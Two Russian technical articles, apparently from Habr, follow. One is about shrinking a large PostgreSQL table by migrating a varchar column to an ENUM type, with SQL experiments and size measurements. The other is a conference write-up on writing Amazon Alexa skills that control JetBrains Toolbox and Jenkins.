# PostgreSQL. Как правильно хранить котов или история одной миграции
История взята из реального проекта. Но поскольку реальный проект слишком скучный (и под NDA), в этой статье используется упрощенный пример.
Жил-был один проект. И была у него база данных. И была в базе таблица для хранения, ну, скажем, котов. Вот такая:
```
CREATE TABLE cats (
id serial,
cname varchar(20),
ctype varchar(20),
primary key(id)
);
```
Все довольно просто: у каждого кота есть id, имя и некий тип.
Конечно, у нас были бизнес-требования к котам и их типам. Например, мы точно знали, что у нас есть типы **big furry**, **neko** и **sudden danger**. Предполагали, что могут появиться типы **long tail** и **sleeper-eater**. Но мы ожидали, что требования будут меняться. И пока не известно, какие в итоге понадобятся типы. Поэтому использовали тип данных **varchar(20)**.
Спустя долгое время и несколько релизов мы, наконец, составили точный список типов котов. К этому времени в таблице уже было несколько десятков миллионов котов с самыми разными типами, многие из которых устарели. Нужно было навести порядок, привести все значения в таблице в соответствие с новыми требованиями.
---
Итак, применим инженерный подход:
* построим теорию,
* проверим ее экспериментами,
* разработаем практическое решение на базе теории,
* применим решение и оценим результат.
Строим теорию
-------------
Создадим ENUM-тип данных и перечислим в нем допустимые значения. Затем выполним миграцию:
```
CREATE TYPE cat_type AS ENUM ('big furry', 'small red', 'long tail',
'crafty hunter', 'sudden danger', 'sleeper-eater');
ALTER TABLE cats ALTER COLUMN ctype TYPE cat_type USING ctype::cat_type;
```
Мы еще не знаем, что в таком виде миграция не сработает. Забыли про уже существующие в таблице недопустимые значения. Узнаем об этом позже, когда попробуем применить миграцию =)
Так мы запретим создание котов с недопустимым значением типа. А еще уменьшим размер таблицы и размер индекса по полю ctype. Размер таблицы не так уж и важен, а вот уменьшение индекса – это хорошо. Мы уже имели дело с индексами, которые не помещались в оперативной памяти. И это, мягко говоря, не очень полезные индексы.
Давайте оценим, какого выигрыша по памяти можно ожидать.
Для хранения значения типа varchar выделяется 1-4 байта на символ (в зависимости от кодировки) и еще 1 или 4 байта на хранение длины строки (подробнее тут [www.postgresql.org/docs/current/static/datatype-character.html](https://www.postgresql.org/docs/current/static/datatype-character.html)). В нашем случае это 1 байт на символ (utf8, латинские буквы) и 1 байт на длину строки. Строки длиной 9-14 символов. Будем считать, что в среднем у нас 12 байт на одно значение.
```
> select pg_column_size('big furry');
10
> select pg_column_size('sleeper-eater');
14
```
Известно, что значения enum занимают 4 байта независимо от их длины.
```
> select pg_column_size('big furry'::cat_type);
4
> select pg_column_size('sleeper-eater'::cat_type);
4
```
Одна строка в таблице занимает:
* 27 байт на заголовок строки,
* 8 байт id,
* 21 байт cname (считаем, что у всех котов имена по 20 символов),
* 12 байт ctype
Итого: 68 байт.
После миграции будет 27 + 8 + 21 + 4 = 60 байт. Разница небольшая, но для 50 млн строк суммарный выигрыш должен быть существенным.
У нас 2 индекса, по id и по ctype. Индекс по id не изменится. Индекс по ctype должен уменьшится. Как устроена память индекса мы не знаем, но ожидаем, что если одно значение уменьшилось в 3 раза, то и индекс уменьшится в 2-3 раза.
Эксперимент №1
--------------
Для эксперимента создадим две таблицы:
```
CREATE TABLE cats1 (
id serial,
name varchar(20),
type varchar(20),
primary key(id)
);
```
```
CREATE TYPE cat_type AS ENUM ('big furry', 'small red', 'long tail',
'crafty hunter', 'sudden danger', 'sleeper eater');
CREATE TABLE cats2 (
id serial,
name varchar(20),
type cat_type,
primary key(id)
);
```
Заполним их тестовыми данными:
```
CREATE SEQUENCE ss;
INSERT INTO cats1 (name, type)
SELECT
substring(md5(random()::text), 0, 20),
(ARRAY['big furry', 'small red', 'long tail',
'crafty hunter', 'sudden danger', 'sleeper eater'])
[nextval('ss') % 5 + 1]
FROM
generate_series(1, 500000);
INSERT INTO cats2 (name, type)
SELECT
substring(md5(random()::text), 0, 20),
((ARRAY['big furry', 'small red', 'long tail',
'crafty hunter', 'sudden danger', 'sleeper eater'])
[nextval('ss') % 5 + 1])::cat_type
FROM
generate_series(1, 500000);
```
Да, имена у наших котов довольно странные. Но для эксперимента годятся.
Создадим индексы:
```
CREATE INDEX cats1_index ON cats1(type);
CREATE INDEX cats2_index ON cats2(type);
```
И посмотрим, сколько памяти они заняли:
```
SELECT pg_relation_size('cats1') AS table_size,
pg_indexes_size('cats1') AS indexes_size;
SELECT pg_relation_size('cats2') AS table_size,
pg_indexes_size('cats2') AS indexes_size;
```
Теоретически строки в первой таблице занимают 68 \* 500,000 = 34,000,000 байт, во второй таблице 60 \* 500,000 = 30,000,000 байт. На практике видим 34,136,064 и 30,121,984 байт. Цифры получились близкие.
Понятно, что таблица устроена сложнее, чем просто 500,000 строк равномерно одна за другой. Там выделяются страницы памяти по 8 Кб. У страниц есть свои заголовки и другая метаинформация. Да и значения в строках как-то выравниваются (подробнее тут [www.postgresql.org/docs/9.5/static/storage-page-layout.html](https://www.postgresql.org/docs/9.5/static/storage-page-layout.html)).
Но что у нас с индексами?
Функция **pg\_indexes\_size** показывает расход памяти суммарно по всем индексам, связанным с таблицей, а не по каждому отдельно. Но это не беда, мы можем вызвать ее до создания индекса по ctype и после. И тогда увидим, что индекс по id занимает 11,255,808 байт, а индексы по ctype для первой таблицы – 15,794,176 байт, а для второй таблицы – 11,255,808 байт.
Заметно меньше, но не в 2-3 раза, как мы ожидали. Почему так?
Эксперимент №2
--------------
Создадим несколько простых таблиц, содержащих только один столбец:
```
CREATE TABLE t_bool (f bool);
CREATE TABLE t_sint (f smallint);
CREATE TABLE t_int (f int);
CREATE TABLE t_bint (f bigint);
CREATE TABLE t_c7 (f char(7));
CREATE TABLE t_c8 (f char(8));
CREATE TABLE t_c9 (f char(9));
CREATE TABLE t_c15 (f char(15));
CREATE TABLE t_c16 (f char(16));
CREATE TABLE t_c20 (f char(20));
```
Заполним их данными:
```
INSERT INTO t_bool (f)
SELECT true FROM generate_series(1, 500000);
INSERT INTO t_sint (f)
SELECT 1 FROM generate_series(1, 500000);
...
INSERT INTO t_c7 (f)
SELECT 'abcdefg' FROM generate_series(1, 500000);
...
INSERT INTO t_c20 (f)
SELECT 'abcd efgh abcd efgh ' FROM generate_series(1, 500000);
```
Создадим индексы:
```
CREATE INDEX ON t_bool(f);
CREATE INDEX ON t_sint(f);
...
CREATE INDEX ON t_c20(f);
```
И посмотрим, сколько места занимают таблица и индекс:
| | | | |
| --- | --- | --- | --- |
| **Тип данных** | **Байт на одно значение** | **Размер таблицы** | **Размер индекса** |
| bool | 1 | 18,128,896 | 11,255,808 |
| smallint | 2 | 18,128,896 | 11,255,808 |
| int | 4 | 18,128,896 | 11,255,808 |
| bigint | 8 | 18,128,896 | 11,255,808 |
| char(7) | 8 | 18,128,896 | 11,255,808 |
| char(8) | 9 | 22,142,976 | 15,794,176 |
| char(9) | 10 | 22,142,976 | 15,794,176 |
| char(15) | 16 | 22,142,976 | 15,794,176 |
| char(16) | 17 | 26,091,520 | 20,332,544 |
| char(20) | 21 | 26,091,520 | 20,332,544 |
Видим, что размеры таблицы и индекса одинаковые в диапазонах значений 1-8 байт, 9-16 байт и больше 16 байт.
Похоже, что мелкие оптимизации, такие как замена int на smallint, дают мало пользы. Ну разве что в отдельных случаях, когда в одной таблице есть много столбцов, которые можно так оптимизировать.
Замена varchar на enum дает выигрыш, если varchar-значения в среднем больше 8 байт (длиннее 7-ми символов).
Разрабатываем практическое решение
----------------------------------
Теперь мы знаем, что ожидать на практике, и готовы реализовать нашу миграцию.
Возвращаемся к нашим котам:
```
CREATE TABLE cats (
id serial,
cname varchar(20),
ctype varchar(20),
primary key(id)
);
CREATE INDEX c1 ON cats(ctype);
```
Наполняем таблицу данными так, чтобы в ней были невалидные и NULL-значения.
```
CREATE SEQUENCE ss;
INSERT INTO cats (cname, ctype)
SELECT
substring(md5(random()::text), 0, 20),
(ARRAY['big furry', 'small red', 'long tail', 'crafty hunter', 'sudden danger',
'sleeper-eater', 'black eye', 'sharp claw', 'neko', NULL])
[nextval('ss') % 10 + 1]
FROM
generate_series(1, 500000);
```
Пробуем мигрировать:
```
CREATE TYPE cat_type AS ENUM ('big furry', 'small red', 'long tail',
'crafty hunter', 'sudden danger', 'sleeper-eater');
ALTER TABLE cats ALTER COLUMN ctype TYPE cat_type USING ctype::cat_type;
```
И выясняем, что наш наивный ALTER TABLE не работает:
```
ERROR: invalid input value for enum cat_type: "black eye"
```
И нужно писать функцию для преобразования типа:
```
CREATE OR REPLACE FUNCTION cast_to_cat_type(ctype varchar) RETURNS cat_type AS
$$
DECLARE res cat_type;
BEGIN
CASE ctype
WHEN 'big furry' THEN res := 'big furry';
WHEN 'small red' THEN res := 'small red';
WHEN 'long tail' THEN res := 'long tail';
WHEN 'crafty hunter' THEN res := 'crafty hunter';
WHEN 'sudden danger' THEN res := 'sudden danger';
WHEN 'sleeper-eater' THEN res := 'sleeper-eater';
ELSE res := NULL;
END CASE;
RETURN res;
END
$$
LANGUAGE plpgsql;
```
И пробуем еще раз:
```
ALTER TABLE cats ALTER COLUMN ctype TYPE cat_type USING cast_to_cat_type(ctype);
```
На этот раз сработало. Только показывать кому-то такую функцию стыдно. Ой, кажется я только что выдал свою тайную склонность к копипасте =) Тсс, давайте притворимся, что я этого не писал, а вы этого не видели, ок? А я напишу по-другому:
```
CREATE OR REPLACE FUNCTION cast_to_cat_type(ctype varchar) RETURNS cat_type AS
$$
DECLARE res cat_type;
BEGIN
BEGIN
res := ctype::cat_type;
EXCEPTION WHEN others THEN
res := NULL;
END;
RETURN res;
END
$$
LANGUAGE plpgsql;
```
Вот это можно смело отправлять на code review.
Оцениваем результат
-------------------
Что же у нас получилось в итоге? Размеры таблицы и индексов до миграции: 33,038,336 и 26,140,672 байт. После миграции: 28,581,888 и 22,511,616 байт. Учитывая, что в реальной таблице у нас не 500 тысяч записей, а 50 миллионов, выигрыш будет существенный.
Но при некоторых условиях можно выиграть еще больше. Допустим, бизнес не интересуют коты неправильного или неизвестного типа, в запросах они исключаются. Тогда можно исключить их и из индекса.
Используем [частичный индекс](https://www.postgresql.org/docs/current/static/indexes-partial.html):
```
CREATE index CONCURRENTLY c2 ON cats(ctype) WHERE ctype IS NOT NULL;
DROP index c1;
```
И теперь размер индексов 18,014,208 байт. Тут, конечно, все будет зависеть от того, как много котов у нас оказались неправильными.
Любопытный вопрос, что дальше делать с неправильными котами. Но это уже вопрос к бизнесу, не к разработчику.
Осталось убедиться, что правильные значения в таблицу вставляются, а неправильные не вставляются:
```
> INSERT INTO cats (cname, ctype) VALUES ('Murzik', 'crafty hunter'), ('Vasjka', 'sleeper-eater');
INSERT 0 2
> INSERT INTO cats (cname, ctype) VALUES ('Sharik', 'big dog');
ERROR: invalid input value for enum cat_type: "big dog"
```
Все работает как надо.
*У нас есть еще парочка интересных историй про миграции, и про то, как трудно жить с большими таблицами. Расскажем об этом в следующий раз.*
Юра Жлоба,
Веб-разработчик. | https://habr.com/ru/post/306728/ | null | ru | null |
# «Computer, how is my build doing?» и другие волшебные заклинания
Барух Садогурский рассказывает, как с помощью сервиса голосовых команд Alexa можно добавить голосовой интерфейс к совершенно неожиданным вещам, таким как IntelliJ IDEA и Jenkins, а также, откинувшись в кресле с бокалом любимого напитка, управлять всем, чем угодно.
В основе статьи – выступление Баруха на конференции JPoint 2017 в Москве.
Барух занимается Developer Relations в компании JFrog. Кроме этого, он энтузиаст Groovy, DevOps, IOT и Home Automation.
Что такое Alexa и зачем она в нашей жизни?
------------------------------------------
В этой статье я буду разговаривать с Alexa. Это – продукт компании Amazon – голосовой помощник, такой же, как Siri, Cortana (ни дай Бог, если кто не сумел удалить), Google Home и т.д. Alexa – это сегодня лидер рынка, и мы поговорим, почему, хотя причина очевидна.
Есть три вида Alexa-устройств.
Я буду разговаривать с Amazon Tap. Раньше она не умела откликаться на имя, поэтому приходилось нажимать на кнопочку, отсюда в названии Tap. Сейчас она уже реагирует на имя, но название осталось. Полноценная Alexa большая, с хорошим динамиком. Есть еще «финтифлюшка» со слабым динамиком, которая предназначена для того, чтобы подключаться к другим ресиверам, динамикам и т.д. Все они вполне доступны, стоят 170, 130 и 50 долларов. У меня дома их в общей сложности девять. Зачем мне все это надо, мы сейчас поговорим.
Я упомянул о том, что Alexa сейчас — безусловный лидер рынка. Лидером она является благодаря открытому API для написания сценариев Alexa Skills. Как раз недавно говорилось о том, что количество скилов в основной базе достигло 10 тысяч. Большинство из них бестолковые, но благодаря многим полезным скиллам ничего похожего на Alexa по полезности и популярности нет. Как они накрутили 10 тысяч, вполне понятно. Там есть шаблон, по которому можно сделать скилл, поменяв пару строк. Затем опубликовать его, получить футболочку — и вот у них их 10 тысяч. Но сегодня мы научимся писать несколько более интересных скилов — и вы поймете, что это достаточно просто.
Почему я этим заинтересовался и как я пользуюсь армией «Алекс», которая у меня дома?
Я встаю и первым делом прошу ее выключить будильник («Alexa, turn off the alarm»). После чего как-то добираюсь до кухни и прошу включить свет («Alexa, turn on morning lights»). Здороваюсь с ней («Alexa, good morning»). Кстати, на «Good morning» она отвечает интересные вещи, например, сообщает, что в Малайзии в прошлом году нашли большую змею. Полезная информация с утра, под кофе.
Затем я спрашиваю о новостях («Alexa, what’s my news flash?»), и она зачитывает мне новости с разных ресурсов. После этого спрашиваю, что у меня в календаре? («Alexa, what’s on my agenda?»). Благодаря этому я знаю, как выглядит мой день. И дальше я спрашиваю, как я еду на работу, есть ли по дороге пробки и так далее («Alexa, how’s my commute?»). Это – домашнее-ориентированное использование, тут вообще нет никаких custom skills, все это встроено.
Но есть еще много крутых вариантов применения.
* Умный дом – это самый крутой вариант. Как вы уже, наверное, видели, свет я включал через Алексу. Но это может быть не только свет: замки, камеры, охранная сигнализация, всякие сенсоры – все, что подключается к умному дому.
* Музыка. Alexa может проигрывать музыку, которую я люблю. Сюда же — аудиокниги. У взрослых на них обычно нет времени, но мой сын слушает сказки через Алексу.
* Вопросы/ответы. То есть то, что обычно ищут в Википедии.
* Новости/погода – об этом я уже говорил.
* Заказ еды – конечно же, очень важно, чтобы можно было, не вставая с дивана, заказать пиццу, суши и т.д.
Но вы сюда пришли, конечно же, не для того, чтобы послушать консьюмерский спич про Алексу — вы пришли услышать про голосовые интерфейсы будущего. Нынче это хайп, и, в общем-то, достаточно неожиданный. Но этот хайп очень по делу, потому что голосовые интерфейсы – это то, чего мы ждем. Мы выросли на ожидании голосовых интерфейсов, которые будут работать. И вот это сейчас происходит на наших глазах.
Аналитики утверждают, что за последние 30 месяцев в области голосовых интерфейсов произошел прогресс, которого не было в течение последних 30 лет. Суть в том, что голосовой интерфейс в какой-то момент заменил графический. Это логично, потому что графический интерфейс – это был костыль, который существовал только потому, что голосовой был недостаточно развит.
Безусловно, есть вещи, которые лучше показывать, но, тем не менее, очень многое, что мы делаем с экрана, можно было бы, да и нужно было бы, делать голосом.
Вот этот API, который лежит поверх распознавания голоса и определенного Artificial Intelligence, который есть в Алексе, – это то, что гарантирует взрывное развитие в этой индустрии и возможность для многих людей писать много полезных скиллов.
Сегодня мы посмотрим два скилла. Первый открывает приложение, мою IntelliJ IDEA, и он, конечно, прикольный, но не очень полезный (так как открывать приложение голосом, а затем писать код ручками не имеет особого смысла). Второй будет про Jenkins, и он должен быть намного полезнее.
Написание скилла для Alexa
--------------------------
Написание скилла – простая штука и состоит из трех этапов:
* Определить интерактивную модель – тот самый голосовой API;
* Написать обработчик команд, которые к нам приходят;
* Пройти ревью в Амазоне (этот этап мы рассматривать не будем).
Интерактивная голосовая модель: что это, зачем это?
---------------------------------------------------
В основе лежит очень простая идея:
Мы можем вычленять переменные из текста и передавать в обработчик (к примеру, я прошу открыть IDEA, которая является слотом, но я точно так же мог попросить открыть Rider или Sea Lion).
JSON-ом я называю команды, а дальше даю текстом, как эти команды могут звучать. И вот тут происходит волшебство, потому что одно и то же можно сказать разными способами. И этот Artificial Intelligence (Voice Recognition, который предоставляет Alexa) умеет подбирать по смыслу не только ту команду, которую я прописал, но и все похожие. Кроме этого, есть набор встроенных команд, таких как Stop, Start, Help, Yes, No и так далее, для которых не надо писать никаких примеров.
Вот JSON IntentSchema, в которой прописано, какие примеры я хочу. Этот наш пример, который открывает тулзы из JetBrains Toolbox.
```
{
"intents": [
{
"intent": "OpenIntent",
"slots" : [
{
"name" : "Tool",
"type" : "LIST_OF_TOOLS"
}
]
},
{
"intent": "AMAZON.HelpIntent"
}
]
}
```
Вы видите, что у меня есть интент, который называется OpenIntent, и есть один слот Tool. Его параметр – это какой-то список тулзов. Кроме того, там еще хелп.
Типы слотов
-----------
Вот какие бывают типы слотов:
* Встроенные, такие как AMAZON.DATE, DURATION, FOUR\_DIGIT\_NUMBER, NUMBER, TIME;
* Масса всякой информации, которую Alexa уже знает и вокруг которой мы можем написать скиллы, например, список актеров, рейтинги, список городов в Европе и США, список известных людей, фильмов, напитки и т.д. (AMAZON.ACTOR, AGREATERATING, AIRLINE, EUROPE\_CITY, US\_CITY, PERSON, MOVIE, DRINK). Информация о них и все возможные варианты уже заложены и хранятся в Alexa.
* Custom Types.
Обязательно нужно помнить, что они не являются enum. То есть этот список служит только приоритетом. Если Alexa узнает какое-то другое слово, оно будет передано в мой скилл.
Вот тот самый List of Tools – те варианты, которые я ей дал.
Написание тут отличается от написания продуктов компании JetBrains просто потому, что Alexa работает с натуральными словами. Соответственно, если я напишу IntelliJ IDEA в одно слово, она не сможет распознать, что это такое.
Примеры фраз для команд
-----------------------
Вот примеры того, как люди могут обращаться, чтобы затребовать открытие этого инструмента:
```
OpenIntent open {Tool}
OpenIntent start {Tool}
OpenIntent startup {Tool}
OpenIntent {Tool}
```
Есть и другие варианты. Когда Alexa видит этот набор, она знает, что синонимы этих слов тоже попадают под этот интент.
Обработчик команд
-----------------
Мы описали голосовой интерфейс, и дальше у нас идет обработчик команд. Он работает очень просто: Alexa превращает голос, которым мы с ним говорим, в REST-запрос в формате JSON.
Запрос может идти или в AWS Lambda Function или на произвольный HTTP-сервер. Преимущество Lambda Function в том, что для них не нужен произвольный HTTP-сервер. У нас есть platform as a service, где мы можем писать наш обработчик без необходимости поднимать какие-то сервисы.
Преимущества AWS Lambda Function:
* Serverless cumpute server – он работает сам по себе
* No-ops!
* Node.js – это самая элегантная из имплементаций. Мы пишем Javascript-функции, и когда мы дергаем этот сервис, там они отрабатываются.
* Поддержка Python (мы пишем скрипт с какими-то функциями, и это все прекрасно работает)
* Java 8.
С Java 8 все гораздо сложнее. В Java у нас нет каких-то top-level-функций, которые мы можем написать и вызывать, — все это должно быть завернуто в классы. Наш друг Сергей Егоров на короткой ноге с ребятами, которые пилят Lambda, и сейчас работает над тем, чтобы Groovy можно было использовать в Lambda не так, как сейчас (когда мы делаем jar-файл и работаем с ним так же), а напрямую через Groovy-скрипты, когда можно будет писать скрипты с колбеками, которые будут вызываться.
Speechlet
---------
Класс, который обрабатывает запросы Alexa к Java, называется Speechlet. Когда вы видите спичлеты, вы вспоминаете про апплеты, про мидлеты и про сервлеты. И вы уже знаете, чего ожидать – контролируемого цикла исполнения, то есть, грубо говоря, какой-то интерфейс, который нам, как разработчикам, нужно будет имплементировать с разными фазами жизни нашего «лета», в данном случае – спичлета.
И вы не ошиблись, потому что вот у вас интерфейс Speechlet, где есть четыре метода, которые нам нужно имплементировать:
```
public interface Speechlet {
void onSessionStarted(SessionStartedRequest request, Session session);
SpeechletResponse onLaunch(LaunchRequest request, Session session);
SpeechletResponse onIntent(IntentRequest request, Session session);
void onSessionEnded(SessionEndedRequest request, Session session);
}
```
В начале `оnSessionStarted` – это когда Alexa поднимается и осознает, что у нее есть спичлет. `onLaunch` – это когда мы вызываем команду с названием нашего скилла. `onIntent` – когда с нами поговорил человек, и мы получили то, что он сказал, в виде Json и команду, которую он назвал. `onSessionEnded` – это когда мы делаем обычный клинап.
В общем-то очень похоже на любой другой «лет», и сейчас мы посмотрим, как все выглядит в коде.
Где писать Speechlet
--------------------
Существует два места в Амазоне, с которыми нам нужно работать:
* Alexa Skill Kit, где мы описываем новый скилл (интерактивную модель, метаданные, название, куда обращаться, когда идет запрос).
* Lambda или любой другой сервис, где у нас живет speechlet, который является обработчиком запросов. То есть, грубо говоря, у нас получается примерно так:
У нас есть юзер, который говорит: «Alexa, ask Jenkins how’s my build?». Это приходит в устройство, в данном случае – в Amazon Tap. Дальше все идет в тот самый скилл, который превращает голос в JSON, обращается в Lambda Functions и дергает Jenkins API.
Пример кода: JbToolBoxActivator Speechlet
-----------------------------------------
Теперь самое время посмотреть на код
(<https://github.com/jbaruch/jb-toolbox-alexa-skill/blob/master/src/main/groovy/ru/jug/jpoint2017/alexa/jbtoolboxactivator/JbToolBoxActivatorSpeechlet.groovy>)
Вот наш спичлет. Мы вынесли в константы Help Test, Default Question и так далее. У нас есть HTTP BUILDER, напомню, это сервис, который бежит к Amazon Lambda. Соответственно, он должен дергать что-то по интернету. На самом деле это Groovy, но добавьте boilerplate, и будет вам Java.
На `оnSessionStarted` мы конфигурируем наш HTTP клиент, говорим, что будем стучаться в тулбокс по такому-то хосту и такому-то порту. Дальше мы считываем из файла список поддерживаемым тулзов, который вы тоже уже видели (List of tools.txt).
Из `onLaunch` мы выдаем `HelpResponse`. Этот тот самый, о котором вы слышали, – я могу открывать такие же тулзы.
Cамое интересное происходит в `onIntent`. Мы делаем switch по названию интента. То есть из всех команд, которые у нас были, что к нам пришло. В данном случае, если вы помните, у нас было два интента. Один – это open, который наш кастомер, а другой – это help. Еще могут быть stop, cancel и любые другие.
И вот самое интересное – `openIntent`. Мы из него вынимаем тот самый слот, тул (у нас это были IDEA и так далее), и дальше обращаемся по HTTP-билдеру в наш URI плюс вот этот тул. То есть мы обращаемся к API JetBrains Toolbox, который понимает этот формат.
Соответственно, потом мы возвращаем ответ. Ответ у нас может быть или `Opening $toolName`, или, если тул не в списке: *Sorry, I can’t find a tool named $toolName in the toolbox. Goodbye*.
Хелп работает хелпом, стоп и кансел делает `Goodbye`. Если пришел интент, которого у нас не существует, мы кидаем invalid Intent.
Все предельно просто, я специально написал его таким простым, чтобы вы увидели, как это просто.
`onSessionEnded` у меня ничего нет. Тут у меня есть метод `newAskResponse`, который в чистейшем виде boilerplate в течение десяти строчек кода создает три объекта: один объект, в который в конструкторе теоретически нужно перевести два других, в которых нужно перевести какие-то тексты. В общем все, что он делает, – создает объект `SpeechletResponse`, в котором у нас есть OutputSpeech text и repromptText. Почему это занимает десять строчек кода? Ну, так исторически сложилось, мы об этом немного поговорим. Надеюсь, все остальное, кроме этого бойлерплейта, понятно и просто.
Пример кода: Jenkins Speechlet
------------------------------
Давайте осмотрим на другой skill. И в этот раз пойдем наоборот: от кода к скиллу и в конце попробуем его запустить. Вот Jenkins speechlet – обработчик скилла, который управляет Дженкинсом (<https://github.com/jbaruch/jenkins-alexa-skill/blob/master/src/main/groovy/ru/jug/jpoint2017/alexa/jenkins/JenkinsSpeechlet.groovy>).
Все начинается очень похоже: `оnSessionStarted` мы инициализируем HTTPBuilder, который будет обращаться к Дженкинсу через Rest API в JENKINS\_HOST и авторизоваться с определенным username и password. Вот это, конечно, через environment variables не очень правильно. У Alexa есть целая система, которая позволяет регистрироваться с username и password в скилл, то есть когда мы инсталлируем этот скилл на нашей локальной Alexa, открывается окно, в котором мы можем залогиниться. Но для простоты здесь мы берем username и password у environment variables.
`onLaunch` мы отбарабаним тот же текст: «Приветствуем вас, гигантские морды, мы управляем Дженкинсом», — и тут начинается наш интересный `onIntent`.
Тут у нас, соответственно, побольше интентов, имеет смысл посмотреть нашу модель — <https://github.com/jbaruch/jenkins-alexa-skill/blob/master/src/main/resources/speechAssets/IntentSchema.json>
У нас есть `LastBuild`, который, очевидно, вернет нам информацию про наш последний билд, `GetCodeCoverage`, который вернет нам информацию о покрытии кода, и `FailBuildIntent`, который завалит билд. Кроме того, есть еще куча встроенных, таких как help, stop, cancel и даже yes, no. Посмотрим, что мы, собственно говоря, делаем с этими yes и no.
Начнем. Вот к нам пришел интент, и мы берем у него данные по имени. Если у нас попросили last build, то мы пойдем в Jenkins API и возьмем оттуда список билдов с их именем и цветом (цвет красный или синий – прошел или не прошел). Возьмем last, билд с таким-то названием, прошел он или не прошел.
`GetCodeCoverage` – опять же, мы обратимся к Jenkins API, к плагину, который называется jacoco. В нем, как и в любом хорошем плагине, есть масса параметров. Мы возьмем один – lineCoverage — и получим какую-то информацию.
`FailBuild` – это запрос на превращение приходящего билда в фейловый. Не хотелось бы сразу на это соглашаться. Alexa часто отзывается впустую, поэтому есть вероятность случайно зафейлить билд. И мы у нее попросим подтверждения. Мы пошлем еще один запрос и скажем: «вот я хочу завалить билд» «Действительно ли это то, что ты имел в виду?». Мы положим в sessions. Это как раз то, что держится через разные invokations, и мы положим какой-то флаг в fail requested.
И дальше у нас есть то самое yes-no. Если мы ответили да, то нужно проверить, был ли вопрос или, может, мы просто так сказали «да». И если вопрос был, то опять же, мы создадим какой-то post request, в этот раз в наш Jenkins API, и завалим job. И если действительно job стал красненьким, мы скажем, что мы завалили job, а если нет – ничего не получилось. Ну и stop – мы говорим Goodbye и выходим.
Такая интересная функциональность, и кода тут на одну страницу. Я пытался усложнить код, но там нечего усложнять, потому что это на самом деле так просто.
После этого мы собираем все это грейдлом, причем Gradle тут простейший. У меня тут есть куча зависимостей: groovy, который мне, естественно, нужен, плюс три зависимости вот этого API, логгер, commons-io, commons-lang. Все! testCompile – естественно, у меня тесты под это дело. И дальше я строю ZIP, в котором в главной директории лежит мой jar. Кроме того, есть директория lib со всеми зависимостями. Реально проще некуда.
Использование Alexa Skill Kit
-----------------------------
Теперь посмотрим, что мы делаем с этим билдом. У нас есть два места, куда мы реально обращаемся. Первое – Alexa Skill Kit, в нем есть все скиллы, которые я написал. Давайте посмотрим на Jenkins Skill.
Как я уже сказал, тут у нас есть metadata: название и invocation name — то самое слово (Дженкинс), когда я говорю: «Alexa, попроси у Дженкинса сделать то-то».
Далее можно указать, нужен ли мне аудиоплеер (если я, к примеру, хочу стримить звук, например, играть музыку, проигрывать новости и так далее)
Дальше у нас есть наша интерактивная модель – тот самый JSON, который описывает интенты.
Тут нет никакого слота, но в JetBrains у нас был бы custom slot и у этого слота были бы values и примеры, которые работают на мои интенты.
Вкладка конфигурации – что я вызываю: Lambda или HTTPS.
Тут же есть тот самый Account Linking – даем ли мы возможность залогиниться при настройке скилла (и по идее, в Jenkins было бы неплохо это сделать).
И дальше Permissions для всяких покупок, но это нас уже не очень интересует.
Вкладка тестирования – тут я могу писать то, что она будет делать, если я буду говорить.
Дальше вкладка Publishing Information. Скилл проходит всякие проверки у Амазона. Я должен им рассказать, какая от него польза, как это тестируется и так далее.
Использование AWS Lambda
------------------------
Вторая часть работы со скиллом – это моя AWS Lambda. Там у меня нет ничего, кроме этих трех скиллов.
Давайте посмотрим на Jenkins. Сюда я заливаю тот самый jar, который построил Gradle. Еще здесь есть variables (host, password и user).
В конфигурации я пишу, какой мне нужен runtime. Как я уже говорил, поддерживается Node, Python, Java. И недавно стал поддерживаться С#. Дальше – handler. Это – где внутри находится мой спичлет. Role у меня называется lambda\_basic\_execution. И у меня есть description. Все.
Триггер приходит из Алексы. Есть специальный вид триггеров, который называется Alexa Kit. Это значит, что вызов будет оттуда.
И тут тоже можно потестировать, если известно, какой JSON Алекса посылает Лямбде. А я знаю, какой, ведь когда я это буду тестировать здесь, я увижу этот Jenkins. И сейчас давайте посмотрим на этот Jenkins. Я послал запрос: how is my build.
Я послал intent, intent называется last build, и Alexa сообразила, что я хочу.
Это все обернуто в JSON, который я могу протестировать в Лямбде. Я могу сказать: я посылаю вот этот JSON. И когда я это скажу, я могу протестировать только этот кусок.
Да, у меня есть тестирование end to end вот с этой штукой распознавания голоса (текст в JSON, в Лямбду и потом обратно) или я могу этот тестировать только на уровне Лямбды, если я знаю тот JSON, который нужен.
Демонстрация работы Jenkins Speechlet
-------------------------------------
В общем, пора бы уже запустить все. У нас есть Jenkins, и у меня есть билд предыдущего скилла.
Дальше у меня происходит вот такой диалог с системой:
*Барух: Alexa, open Jenkins
Alexa: With this skill you can control your build server
Барух: Alexa, ask Jenkins, how is my build?
Alexa: You last build jb-toolbox-alexa-skill is passing. What do you want to do next?
Барух: What’s the code coverage?
Alexa: The code coverage for the last jb-toolbox-alexa-skill build is 30%. What do you want to do next?
Барух: Fail the build.
Alexa: I understand you want to fail the latest successful build. Are you sure?
Барух: Yes
Alexa: Successfully changed the build status to failed. Thank you and goodbye.*
Это очень круто и очень просто, даже стыдно за такой легкий уровень.
Визуальный компаньон Alexa
--------------------------
Кроме голосового интерфейса, у Alexa есть визуальный компаньон. Это приложение, в котором кроме настройки всех девайсов, интернета и прочего, есть еще карточки. Это такой стрим из информации, которая является вспомогательной для голосового интерфейса. В общем-то, это здравая мысль, потому что не все можно сказать голосом. Если я, например, сейчас запросил `code coverage`, и она мне дала какую-то метрику — на самом деле jacoco возвращает шесть метрик: покрытие по branch execution, по методам, по линиям кода и т.д. Естественно, имеет смысл отобразить это визуально в приложении. Это можно сделать одной строчкой – есть команда «пошли текст в приложение». И дальше туда можно посылать простой текст, картинку или html, которые будут там отображаться. Например, если спросить о погоде, помощник даст краткий ответ. В приложении же можно увидеть погоду на всю неделю. Также я сейчас проверил, что у меня дома заперт замок, и что мой сын в данный момент включил себе сказку о Красной Шапочке. Вот как это выглядит:
Недостатки Alexa: мнимые и реальные
-----------------------------------
Давайте теперь поговорим про два вида недостатков: мнимые и реальные. Первый — мнимый — связан с распознаванием речи. Пользователь может говорить с акцентом или не очень внятно произносить слова. Я не знаю, как они это делают, но Alexa прекрасно понимает даже моего маленького сына, хотя мы с женой понимаем его далеко не всегда.
Второй мнимый недостаток показан на иллюстрации ниже.
На самом деле эта проблема решается очень просто при помощи средств безопасности: Alexa никогда не сделает заказ в магазине или не откроет дверь, пока вы не произнесете заранее предустановленный пин-код.
